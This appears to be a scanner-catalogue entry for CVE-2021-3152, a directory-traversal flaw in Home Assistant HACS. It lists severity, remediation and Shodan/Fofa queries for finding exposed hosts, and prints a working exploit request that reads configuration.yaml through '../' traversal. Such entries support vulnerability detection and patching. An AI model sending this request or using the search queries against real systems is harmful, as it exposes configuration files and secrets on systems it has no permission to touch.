| Title | Home Assistant HACS - Local File Inclusion |
|---|---|
| Author | DhiyaneshDk |
| Severity | High |
| Impact | Attackers can access sensitive files on the system, potentially leading to information disclosure or further system compromise. |
| Remediation | Update to version 2021.1.3 or later to include protection against directory traversal in custom integrations. |
| CVSS Score | 7.5 |
| EPSS Score | 0.27878 |
| CVE ID | CVE-2021-3152 |
| CWE ID | CWE-22 |
| Shodan Query | title:"Home Assistant" |
| Fofa Query | title="Home Assistant" |
| Tags | cve cve2021 hacs homeassistant lfi |
Home Assistant before 2021.1.3 lacks a protection layer against directory-traversal attacks in custom integrations, letting attackers access arbitrary files, exploit requires attacker to deploy malicious custom integration.
GET /hacsfiles/../../configuration.yaml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3152.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3152.pcap
N/AN/A